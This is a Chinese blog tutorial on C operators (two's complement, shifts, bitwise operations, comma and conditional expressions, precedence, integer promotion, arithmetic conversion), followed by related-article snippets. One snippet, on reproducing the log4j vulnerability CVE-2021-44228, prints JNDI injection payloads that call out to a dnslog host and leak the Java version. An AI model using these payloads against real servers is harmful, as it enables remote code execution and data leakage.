C语言——操作符保姆级教学(含整形提升及算数转换)

操作符

  • 一.操作符的分类
  • 二.原码、反码、补码
  • 三.移位操作符
    • 1.左移操作符:<<
    • 2.右移操作符:>>
  • 四.位操作符
    • 1.按位与—— &
    • 2.按位或—— |
    • 3.按位异或—— ^
    • 4.按位取反—— ~
  • 五.逗号表达式
  • 六.条件操作符
  • 七.操作符的属性:优先级、结合性
    • 1.优先级
    • 2.结合性
  • 八.表达式求值
    • 1.整形提升
    • 2.算数转换

一.操作符的分类

操作符名称操作符符号
算术操作符+,-,*,/,%
移位操作符<<,>>
位操作符&,I,^
赋值操作符=,+=,-= ,*=,/=,%=,<<=,>>=,&=,
单⽬操作符!、++、–、&、*、+、-、~ 、sizeof、(类型) 强制类型转换
关系操作符>,>=,<,<=,==,!=
逻辑操作符&&,II
条件操作符? :
逗号表达式
下标引用操作符[]
函数调用操作符()

二.原码、反码、补码

  • 整数的二进制有三种表示方法——原码,反码,补码

  • 有符号的整形的三种表示方法由符号位和数值位组成,二进制序列中,最高位表示符号位,符号位值分为两种:0表示正数,1表示负数。其余的都是数值位。

  • 无符号的整形的三种表示方法仅有数值位组成,二进制序列中,都是数值位。

  • 正整数:原码,反码,补码都相同

  • 负整数:原码,反码,补码都不相同
    原码:直接将数值按照正负数的形式翻译成⼆进制得到的就是原码。
    反码:将原码的符号位不变,其他位依次按位取反就可以得到反码。
    补码:反码 + 1就得到补码。

  • 补码得到原码可以由:-1,取反 或 取反,+1的操作

  • 对于整形来说:数据存放内存中其实存放的是补码

为什么计算机存放的是补码呢?
  在计算机系统中,数值⼀律⽤补码来表⽰和存储。原因在于,使用补码,可以将符号位和数值域统⼀处理;同时,加法和减法也可以统⼀处理(CPU只有加法器)此外,补码与原码相互转换,其运算过程是相同的,不需要额外的硬件电路。

例如:计算1-2(本质上:1+(-2),利用补码与补码相加,最后以原码所对应的10进制打印在屏幕上
在这里插入图片描述

三.移位操作符

1.左移操作符:<<

  • 移位规则:左边抛弃、右边补0
  • 左移n位,有乘2的n次方的效果
#include <stdio.h>
int main()
{int num = 10;int n = num<<1;printf("n= %d\n", n);//n=20printf("num= %d\n", num);//num=10,num是不会改变的return 0;
}

在这里插入图片描述

2.右移操作符:>>

移位规则:右移运算分两种

  • 1.逻辑右移:左边用0填充,右边丢弃
  • 2.算术右移:左边用原该值的符号位填充,右边丢弃
  • 右移n位,有除2的n次方的效果
#include <stdio.h>
int main()
{int num = -2;int n = num >> 1;printf("n= %d\n", n);//n=-1printf("num= %d\n", num);//num-2return 0;
}

在这里插入图片描述

注意:

  • 大部分都是算数右移(例如VS):左边用原该值的符号位填充,右边丢弃
  • 对于移位运算符,不要移动负数位,这个是标准未定义的。
  • 进行移位操作时,移动的是补码的二进制形式,最后以原码所对应的十进制打印在屏幕上
  • 移位操作符的操作数只能是整数

四.位操作符

1.按位与—— &

#include <stdio.h>
int main()
{int num1 = -3;int num2 = 5;printf("%d\n", num1 & num2);//5return 0;
}

在这里插入图片描述
在这里插入图片描述

  • 总结按位与:对应的二进制位,只要有0则为0,两个同时为1,才为1

2.按位或—— |

#include <stdio.h>
int main()
{int num1 = -3;int num2 = 5;printf("%d\n", num1 | num2);//-3return 0;
}

在这里插入图片描述

  • 总结按位或:对应的二进制位,只要有1则为1,两个同时为0,才为0

3.按位异或—— ^

#include <stdio.h>
int main()
{int num1 = -3;int num2 = 5;printf("%d\n", num1 ^ num2);//-8return 0;
}

在这里插入图片描述

  • 总结按位异或:对应的二进制位,相同为0,相异为1

4.按位取反—— ~

#include <stdio.h>
int main()
{printf("%d\n", ~0);//-1return 0;
}

在这里插入图片描述

  • 总结按位取反:按二进制位取反,0变1,1变0

位操作符都是作用于:补码的二进制位,且操作数必须是整数

五.逗号表达式

exp1, exp2, exp3, …expN

  • 逗号表达式:就是⽤逗号隔开的多个表达式。
  • 逗号表达式:从左向右依次执⾏。整个表达式的结果是最后⼀个表达式的结果。
#include<stdio.h>
int main()
{int a = 1;int b = 2;int c = (a>b, a=b+10, a, b=a+1);//a=b+10 —— a=12//b=a+1  —— b=13//最终c=13return 0;
}

六.条件操作符

表达式1?表达式2:表达式3

  • 若表达式1成立,则返回表达式2的结果,否则返回表达式3的结果。

例如:

#include <stdio.h>
int main()
{int a = 3;int b = 5;int ret = a > b ? a : b;//返回的是二者的最大值printf("ret=%d", ret);//ret=5return 0;
}

七.操作符的属性:优先级、结合性

1.优先级

 优先级:如果⼀个表达式包含多个运算符,哪个运算符应该优先执行。各种运算符的优先级是不⼀样的。

2.结合性

如果两个运算符优先级相同,优先级没办法确定先计算哪个了,这时候就看结合性了,则根据运算符是左结合,还是右结合,决定执行顺序。大部分运算符是左结合(从左到右执⾏),少数运算符是右结合(从右到左执行),⽐如赋值运算符( = )。

运算符的优先级顺序很多,下⾯是部分运算符的优先级顺序(按照优先级从⾼到低排列),建议大概记住这些操作符的优先级就行,其他操作符在使用的时候查看下⾯表格就可以了。

• 圆括号( () )

• ⾃增运算符( ++ ),⾃减运算符( – )

• 单⽬运算符( + 和 - )

• 乘法( * ),除法( / )

• 加法( + ),减法( - )

• 关系运算符( < 、 > 等)

• 赋值运算符( = )

优先级、结合性表

八.表达式求值

1.整形提升

  • C语⾔中整型算术运算总是至少以缺省(默认)整型类型的精度来进⾏的。
  • 为了获得这个精度,表达式中的字符和短整型操作数在使用之前被转换为普通整型,这种转换称为整型提升。

整型提升的意义:

  • 表达式的整型运算要在CPU的相应运算器件内执行,CPU内整型运算器(ALU)的操作数的字节长度⼀般就是int的字节长度,同时也是CPU的通用寄存器的长度。因此,即使两个char类型的相加,在CPU执⾏时实际上也要先转换为CPU内整型操作数的标准长度。通用CPU(general-purpose CPU)是难以直接实现两个8比特字节直接相加运算(虽然机器指令中可能有这种字节相加指令)。所以,表达式中各种长度小于int长度的整型值,都必须先转换为int或unsigned int,然后才能送⼊CPU去执行运算。
//实例:伪代码char a,b,c;a = b + c;//b和c的值被提升为普通整型,然后再执行加法运算。//加法运算完成之后,结果将被截断,然后再存储于a中。

例如:

#include <stdio.h>
int main()
{char a = -1;//-1默认为整形char b = 1;char c = a + b;printf("%d\n", c);//0return 0;
}

在这里插入图片描述

2.算数转换

  • 如果某个操作符的各个操作数属于不同的类型,那么除⾮其中⼀个操作数的转换为另⼀个操作数的类型,否则操作就⽆法进⾏。下面的层次体系称为寻常算术转换。
  • 如果某个操作数的类型在上面这个列表中排名靠后,那么首先要转换为另外⼀个操作数的类型后执行运算。
    在这里插入图片描述

例如:

#include <stdio.h>
int main()
{int a = 0;unsigned int b = -1;printf("%u\n", a + b);//4294967295return 0;
}

在这里插入图片描述

在这里插入图片描述

对于取地址&,解引用 *,以及结构体成员访问 . 。这三个操作符日后更新。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831294.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV&#xff08;3&#xff09;&#xff1a;重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV&#xff08;1&#xff09;&#xff1a;基础操作 C#描述-计算机视觉OpenCV&#xff08;2&#xff09;&#xff1a;图像处理 在前文中&#xff0c;描…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素&#xff0c;例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序&#xff0c;你可能会选择一个具有现代、好看的设计的应用程序&#xff0c;而不是一个旧的设计。然而&#xff0c;要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

typescript类型检查和原始类型

typescript类型检查和原始类型 类型检查 非严格类型是typescript默认的类型检查模式&#xff0c;在该模式下&#xff0c;类型检查的规则相对轻松&#xff0c;不会对undefined和null值做过多的限制&#xff0c;允许将undefined和null值赋给string类型的变量。进行JavaScript代…

【ChatGPT with Date】使用 ChatGPT 时显示消息时间的插件

文章目录 1. 介绍2. 使用方法2.1 安装 Tampermonkey2.2 安装脚本2.3 使用 3. 配置3.1 时间格式3.2 时间位置 4. 反馈5. 未来计划6. 开源协议7. 供给开发者自定义修改脚本的文档7.1 项目组织架构7.2 定义新的 Component(1) 定义一个新的 Component 类(2) 注册该 Component 7.3 一…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

自动找出字符串中有符号数字

需求 代码 class Solution:def myAtoi(self, s: str) -> int:s s.strip() # 删除首尾空格if not s: return 0 # 字符串为空则直接返回res, i, sign 0, 1, 1int_max, int_min, bndry 2 ** 31 - 1, -2 ** 31, 2 ** 31 // 10if s[0…

2024年 Java 面试八股文——SpringMVC篇

目录 1.简单介绍下你对springMVC的理解? 2.说一说SpringMVC的重要组件及其作用 3.SpringMVC的工作原理或流程 4.SpringMVC的优点 5.SpringMVC常用注解 6.SpringMVC和struts2的区别 7.怎么实现SpringMVC拦截器 8.SpringMvc的控制器是不是单例模式&#xff1f;如果是&am…

B树:原理、操作及应用

B树&#xff1a;原理、操作及应用 一、引言二、B树概述1. 定义与性质2. B树与磁盘I/O 三、B树的基本操作1. 搜索&#xff08;B-TREE-SEARCH&#xff09;2. 插入&#xff08;B-TREE-INSERT&#xff09;3. 删除&#xff08;B-TREE-DELETE&#xff09; 四、B树的C代码实现示例五、…

蓝桥杯练习系统(算法训练)ALGO-953 混合积

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 众所周知&#xff0c;人人都在学习线性代数&#xff0c;既然都学过&#xff0c;那么解决本题应该很方便。   宇宙大战中&…

如何在postman上提交文件格式的数据

如何在postman上提交文件格式的数据 今天在写一个文件上传的功能接口时&#xff0c;想用postman进行提交&#xff0c;花了些时间才找到在postman提交文件格式的数据。记录一下吧&#xff01; 1.打开postman&#xff0c;选择POST提交方式&#xff0c;然后在Params那一行的Head…